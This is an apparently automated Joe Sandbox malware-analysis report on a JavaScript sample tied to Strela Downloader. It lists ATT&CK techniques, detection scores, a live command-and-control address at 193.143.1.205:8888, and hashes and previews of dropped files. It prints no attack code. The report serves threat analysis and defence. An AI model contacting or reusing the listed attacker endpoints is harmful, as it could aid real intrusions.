Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
17048156412338914445.js	5%	Virustotal		Browse
17048156412338914445.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/xH	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/T	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/$	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/xH	net.exe, 00000009.00000002.2518640700.000001F0B6B5A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000B.00000003.2518576945.00000222725A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	false		high
http://crl.ver)	svchost.exe, 0000000B.00000002.3579914652.0000022272800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.11.dr	false		high
http://193.143.1.205:8888/$	net.exe, 00000009.00000002.2518640700.000001F0B6B28000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/T	net.exe, 00000009.00000002.2518640700.000001F0B6B5A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000009.00000002.2518640700.000001F0B6B5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000002.2518640700.000001F0B6B28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000002.2518640700.000001F0B6B82000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587815
Start date and time:	2025-01-10 18:12:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	17048156412338914445.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/54@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 23.209.209.135, 2.23.242.162, 2.16.168.105, 2.16.168.107, 13.107.246.45, 20.109.210.53, 18.213.11.84, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:14:11	API Interceptor	27x Sleep call for process: powershell.exe modified
12:14:16	API Interceptor	1x Sleep call for process: net.exe modified
12:14:16	API Interceptor	2x Sleep call for process: svchost.exe modified
12:14:23	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	wN7EPNiHSM.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	http://infarmbureau.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	zAK7HHniGW.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
	lExtvSjBgq.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Axvn7Hegxc.exe	Get hash	malicious	Unknown	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2486775641261320080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	647915480318827205.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47011380785516565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263165230345778
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0X:9JZj5MiKNnNhoxuS
MD5:	C2106F47A7A299021DE01BAD583F717F
SHA1:	EAA39B64A4D19209D8E21B26EFADEB0E38E149B5
SHA-256:	71D46C8C3F1DD110AFF32E7356294466C7C4E9417E73B452538DB9C742C91D88
SHA-512:	C58A532DF889348720594C1D87B59F07415D48231A27D06C567547A20CD29ED38112EBA202FBA855FA03F2FBE1CD667E19990B587AD281B68354B8A008851A22
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xbe19ba15, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555893177644281
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	FABC7CFB774BFD4F08EBA446350D7380
SHA1:	AB9EEFEC0AD5DCAE35699DEBB659396B8B041EC3
SHA-256:	2B3F74B3F6A72916F1DE8F72414FD2B17DEA93770D94919B4F5A9E0C0AC91020
SHA-512:	953D88CE0CFEBFF7339A5D0230195354B61BC53533BCE4907D0E9F4FDA61734E2C6365777D90D47A4154C885CCA3290EFA5B6D156C7BE780AC37B9D20C2269C8
Malicious:	false
Preview:	....... .......7.......X\...;...{......................0.e......!...{?......}1.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................J........}k..................]M......}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07891514960755383
Encrypted:	false
SSDEEP:	3:MqUYeCqkAENaAPaU1l0zWkYUYlluxmO+l/SNxOf:MRzSAENDPaUkYZgmOH
MD5:	5220CE5A16F847F6A127BBF626EFC0F6
SHA1:	4C6ECF41DCC40C32B86DB9908CBFD38E6F1A87E8
SHA-256:	9F2B31B6A7697BFAA189114A3657A1B96D7F46C5340B4C4894253664F9254E1C
SHA-512:	66E8E91C8B25E313046739655C1B93BEE21146FFE4701E0827F9DD736AED04995BE325447444388523466C0355F9458ADE2CA29C7B3A5698FD193B1322901F7C
Malicious:	false
Preview:	..2&.....................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?..................]M......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.142129338600048
Encrypted:	false
SSDEEP:	6:iO4/cS8lL+q2PN72nKuAl9OmbnIFUtSqu5KWZmwsquvLVkwON72nKuAl9OmbjLJ:7K8lL+vVaHAahFUt5uUW/juvLV5OaHAR
MD5:	8DAE8016ABFAC7D316FDE643675FAE96
SHA1:	FE2EA596FB8678E016F1281548D0641A28E996D0
SHA-256:	04FD3A5D063DBE262CEC1A03D0214698B69C95ECFA7C352C31BE58E5FAB8D804
SHA-512:	972DC3A78C5EA591FAFFE1754D7B33C76757C252A611A8FC4EF07FDD2AF6B3FF683400CC5C05859F6439818C887BAED4FC29753D15DFA05234E9EC273C7045A4
Malicious:	false
Preview:	2025/01/10-12:14:16.097 1b5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:14:16.104 1b5c Recovering log #3.2025/01/10-12:14:16.104 1b5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.142129338600048
Encrypted:	false
SSDEEP:	6:iO4/cS8lL+q2PN72nKuAl9OmbnIFUtSqu5KWZmwsquvLVkwON72nKuAl9OmbjLJ:7K8lL+vVaHAahFUt5uUW/juvLV5OaHAR
MD5:	8DAE8016ABFAC7D316FDE643675FAE96
SHA1:	FE2EA596FB8678E016F1281548D0641A28E996D0
SHA-256:	04FD3A5D063DBE262CEC1A03D0214698B69C95ECFA7C352C31BE58E5FAB8D804
SHA-512:	972DC3A78C5EA591FAFFE1754D7B33C76757C252A611A8FC4EF07FDD2AF6B3FF683400CC5C05859F6439818C887BAED4FC29753D15DFA05234E9EC273C7045A4
Malicious:	false
Preview:	2025/01/10-12:14:16.097 1b5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:14:16.104 1b5c Recovering log #3.2025/01/10-12:14:16.104 1b5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.125295071741621
Encrypted:	false
SSDEEP:	6:iO4fVFIq2PN72nKuAl9Ombzo2jMGIFUtS9b9ZZmws91FzkwON72nKuAl9Ombzo23:7XvVaHAa8uFUt27/M1F5OaHAa8RJ
MD5:	D274F14CD0D4BC90A5799D9A68E8D49B
SHA1:	EABDA7150F0B62A5DCC5F19C8BDF7A71B9388BE0
SHA-256:	BDA20E84674258D18B70F145079D72ABA0943C07671F8EECE46ACFABB600FF5B
SHA-512:	7E2F09E867C4C6E610E2D901D259CD493C4275F098D008312EAC33D928E12E0BB1640A8587A5F643B68388122DA789A2F226E933125CE8CA6C2BFA805EFB1599
Malicious:	false
Preview:	2025/01/10-12:14:16.177 1910 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:14:16.205 1910 Recovering log #3.2025/01/10-12:14:16.207 1910 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.125295071741621
Encrypted:	false
SSDEEP:	6:iO4fVFIq2PN72nKuAl9Ombzo2jMGIFUtS9b9ZZmws91FzkwON72nKuAl9Ombzo23:7XvVaHAa8uFUt27/M1F5OaHAa8RJ
MD5:	D274F14CD0D4BC90A5799D9A68E8D49B
SHA1:	EABDA7150F0B62A5DCC5F19C8BDF7A71B9388BE0
SHA-256:	BDA20E84674258D18B70F145079D72ABA0943C07671F8EECE46ACFABB600FF5B
SHA-512:	7E2F09E867C4C6E610E2D901D259CD493C4275F098D008312EAC33D928E12E0BB1640A8587A5F643B68388122DA789A2F226E933125CE8CA6C2BFA805EFB1599
Malicious:	false
Preview:	2025/01/10-12:14:16.177 1910 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:14:16.205 1910 Recovering log #3.2025/01/10-12:14:16.207 1910 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\56c68907-5250-416f-b942-7cf6867ce207.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972436193729398
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq4DsBdOg2HBZcaq3QYiubcP7E4T3y:Y2sRdsydMHBg3QYhbA7nby
MD5:	44079C7FC0EBD48622B81A7060A99F66
SHA1:	CBF64746B9EDA027547FE02B669CAC66048B76ED
SHA-256:	24E865958BA8D9300C1B2CAC256317D83191D80FB963603582B20B0EC57200BC
SHA-512:	84FF68FC1B56078AD9925204CF25A869B83AAABAC39C440D072C35E7B1F65960F45C70A124564A43C2DEE1FEB8E56D346CA3674DA2F6B80782E3ED3BBE73EC04
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089267873277","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":120198},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.972436193729398
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq4DsBdOg2HBZcaq3QYiubcP7E4T3y:Y2sRdsydMHBg3QYhbA7nby
MD5:	44079C7FC0EBD48622B81A7060A99F66
SHA1:	CBF64746B9EDA027547FE02B669CAC66048B76ED
SHA-256:	24E865958BA8D9300C1B2CAC256317D83191D80FB963603582B20B0EC57200BC
SHA-512:	84FF68FC1B56078AD9925204CF25A869B83AAABAC39C440D072C35E7B1F65960F45C70A124564A43C2DEE1FEB8E56D346CA3674DA2F6B80782E3ED3BBE73EC04
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089267873277","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":120198},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.254149336493371
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7m8xY/:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhU
MD5:	1FDB0A0FF61E5139E76F9C581D14E9AF
SHA1:	6C0F6133044110532F2DA12390AD7C1FEF5AB5E2
SHA-256:	4487441BEB21600D59E487AD4871C5770062FBF0CE643E69412B4738CC0E5A4A
SHA-512:	9D8CD4D658A22449F6178D2668EA009E143510349EA70279444AF35936B829E15ABE483E8BA1F6B68A13612A3D047A5FA7AF01C9F0587576D7596AC84EE1C5D2
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.123467571777139
Encrypted:	false
SSDEEP:	6:iO4+Oq2PN72nKuAl9OmbzNMxIFUtSzXZmwszFkwON72nKuAl9OmbzNMFLJ:78vVaHAa8jFUt2X/IF5OaHAa84J
MD5:	6C001C9DF4F2A46A25134D041045A205
SHA1:	F6C4097A0A1B5C9122377D98144BCC81D2F70CCD
SHA-256:	95DEDFC0781785795DA6A6B47C1C2350A7803B0F50E97F460CE1F82D08619004
SHA-512:	66710D1CC3BB1640F4FD5C68CE318033FFB1F76A9B5CB813D9305FDE1672C596D0D8E66AF3C65386804B4046EF1977D3173F649DB8DA61B26514BC74FBA06647
Malicious:	false
Preview:	2025/01/10-12:14:16.349 1910 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:14:16.351 1910 Recovering log #3.2025/01/10-12:14:16.351 1910 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.123467571777139
Encrypted:	false
SSDEEP:	6:iO4+Oq2PN72nKuAl9OmbzNMxIFUtSzXZmwszFkwON72nKuAl9OmbzNMFLJ:78vVaHAa8jFUt2X/IF5OaHAa84J
MD5:	6C001C9DF4F2A46A25134D041045A205
SHA1:	F6C4097A0A1B5C9122377D98144BCC81D2F70CCD
SHA-256:	95DEDFC0781785795DA6A6B47C1C2350A7803B0F50E97F460CE1F82D08619004
SHA-512:	66710D1CC3BB1640F4FD5C68CE318033FFB1F76A9B5CB813D9305FDE1672C596D0D8E66AF3C65386804B4046EF1977D3173F649DB8DA61B26514BC74FBA06647
Malicious:	false
Preview:	2025/01/10-12:14:16.349 1910 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:14:16.351 1910 Recovering log #3.2025/01/10-12:14:16.351 1910 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444676282879205
Encrypted:	false
SSDEEP:	384:ye6ci5tliBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mOs3OazzU89UTTgUL
MD5:	39FCDB948544FAAD22965D3A327FE16F
SHA1:	924592DAEE9F09951A55164F5AEAB827BB3B7AE5
SHA-256:	25618A3E5E15C371FDA11ABD4C796084685BF04C697440DF96706B76D674A855
SHA-512:	FDA0A8C475A27A301E469EDB2806C12AB571D5C9A9777284F37CE9F656BFD162715502DC6EF0B02AC2A93632F81119CC532D7CADF723835875F10153D4FE390E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7639061531035205
Encrypted:	false
SSDEEP:	48:7M+JioyVqioyAoy1C7oy16oy1cKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O7:7lJuqQzXjBivb9IVXEBodRBks
MD5:	BEF2D39D3D76D59D88178DAC98282F67
SHA1:	CECFB773B6A7D5F0E136D4CAEAD90C19949D1F92
SHA-256:	E4B4419823A76386C35152678686E7F83613D6FF35772C491EE6C36258D0150D
SHA-512:	61FD84CC41B6AAAB6EEE0D2B5B31E27A3B69B6551B61710990539E482AE1423799CB183E3387F05A2F533299A84A8FFD7C2332E63CD32A9D9D5D1DD4F4E88E0B
Malicious:	false
Preview:	.... .c.....P g................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i 